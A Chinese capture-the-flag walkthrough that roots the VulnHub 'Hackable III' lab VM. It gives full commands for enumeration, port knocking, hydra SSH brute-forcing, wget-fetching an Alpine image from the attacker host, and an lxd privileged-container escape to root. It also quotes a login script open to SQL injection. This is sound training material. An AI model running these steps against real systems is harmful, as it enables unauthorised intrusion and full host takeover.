一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hackable3(10.0.2.53)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/hackable-iii,720/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.53
使用nmap端口扫描发现,靶机开放端口:22、80
打开网站未发现可利用的功能点,查看源码发现隐藏信息
“Please, jubiscleudo, don’t forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com”
翻译:“拜托了,jubiscleudo,别忘了在离开你的区域时激活端口敲门,并告诉老板不要忘记批准.jpg文件——dev_suport@hackable3.com”
根据nmap扫描结果22端口关闭了,应该要使用敲门服务打开22端口
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
使用dirsearch工具对该网站进行目录爆破,对爆破出来的目录和文件都访问一遍
dirsearch -u http://10.0.2.53/
发现/backup/
目录存在一个字典文件
发现/config/
目录存在一个1.txt
文件,里面存在一段被base64加密的数据:MTAwMDA=
,解密得到:10000
发现/css/
目录存在一个2.txt
文件,里面存在一段被Brainfuck加密的数据:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....
,解密得到:4444
访问/login.php
,发现页面是空白的,查看源码,发现暴露该文件的所有源代码
?php
include('config.php');$usuario = $_POST['user'];
$senha = $_POST['pass'];$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'"; $result = mysqli_query($conexao, $query);$row = mysqli_num_rows($result);#validação conta
if($row == 1) {$_SESSION['usuario'] = $usuario;header('Location: 3.jpg');exit();
} else {$_SESSION['nao_autenticado'] = true;header('Location: login_page/login.html');exit();
}?
该文件是获取用户名密码登录,登录后返回3.jpg
文件,我们直接访问3.jpg
,将该图片下载下来,查看是否存在隐写信息
存在隐写信息:porta:65535
根据获得端口信息的顺序,进行端口敲门,发现22端口已开放
knock 10.0.2.53 10000 4444 65535
三、漏洞利用
使用得到的用户名:jubiscleudo
和密码字典爆破ssh,爆破得到密码:onlymy
hydra -l jubiscleudo -P passwd.txt 10.0.2.53 ssh -t 64
登录ssh
四、提权
在靶机上未发现特权命令和可利用的具有root权限的可执行文件
翻一翻靶机各个文件夹,看看有没有可利用的文件或信息
在网站所属目录,发现.backup_config.php
查看该文件发现一组用户名和密码:hackable_3:TrOLLED_3
尝试切换为hackable_3用户,切换成功
id
命令查看该用户所属组,发现lxd组,并且靶机lxd,lxc两个二进制文件还存在
可以尝试lxd提权
攻击机操作:
通过git将构建好的alpine镜像克隆至本地;
git clone https://github.com/saghul/lxd-alpine-builder.git
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;我这边就使用之前构建好的镜像进行提权。
cd lxd-alpine-builder
sudo ./build-alpine
开启apache服务,将tar文件发送至目标设备;
service apache2 start
靶机操作:
下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz
wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz
导入镜像并初始化镜像
lxc image import ./alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test
lxd init #一路回车
lxc init test test -c security.privileged=true 初始化镜像
挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true
启动镜像并进入镜像访问任意文件
lxc start test
lxc exec test /bin/sh
id
进入容器之后,定位到/mnt/root
即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。
获取flag